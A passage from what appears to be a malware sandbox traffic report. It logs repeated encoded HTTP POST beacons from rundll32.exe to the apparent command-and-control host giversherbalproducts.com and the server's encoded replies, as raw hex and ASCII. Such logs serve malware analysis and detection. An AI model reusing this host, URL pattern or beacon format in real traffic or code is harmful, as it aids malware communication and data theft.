f3p/QUVCQ0FBfn15eH96fXt9eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.3	50031	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:45.254861116 CEST	7218	OUT	POST /lBawcxb5/CHoveXt4Ph4VAyEJexQZBz86dQwqDQEkNxwhI0V+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:45.710558891 CEST	7220	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:45 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.3	50033	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:46.047244072 CEST	7221	OUT	POST /lBawcxb5/GyY/RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:46.527935028 CEST	7222	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:46 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.3	50032	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:46.074017048 CEST	7221	OUT	POST /lBawcxb5/EgV4KAUtCD4PID17LglGenN5Yn59cmV+YXg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:46.557719946 CEST	7223	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:46 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.3	50035	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:46.883614063 CEST	7224	OUT	POST /lBawcxb5/PQUmKB0TEgU/Ng5+BQQdIEN6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:47.348397017 CEST	7225	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:46 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.3	50036	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:46.951944113 CEST	7224	OUT	POST /lBawcxb5/Pi5+CRocDj44DiwHHT85Jh8GfHwSJyEFPkJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:47.463891029 CEST	7227	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:47 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49755	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:09.673619032 CEST	1043	OUT	POST /lBawcxb5/fXMKNg0nKzN/DA15DggBI0N6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:10.123657942 CEST	1043	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:09 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 39 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp9dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49773	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:18.128675938 CEST	1072	OUT	POST /lBawcxb5/GB0tLyckQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:18.615554094 CEST	1074	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:18 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.3	50038	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:47.662329912 CEST	7228	OUT	POST /lBawcxb5/EQkJICsCISkfGjF4IHgXL0N6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:48.148348093 CEST	7229	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:47 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.3	50039	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:48.023938894 CEST	7228	OUT	POST /lBawcxb5/Egw7CQknICw7PAp7CiIqPSAbRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:48.549822092 CEST	7236	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:48 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.3	50040	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:48.459849119 CEST	7234	OUT	POST /lBawcxb5/chwzH0Z6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
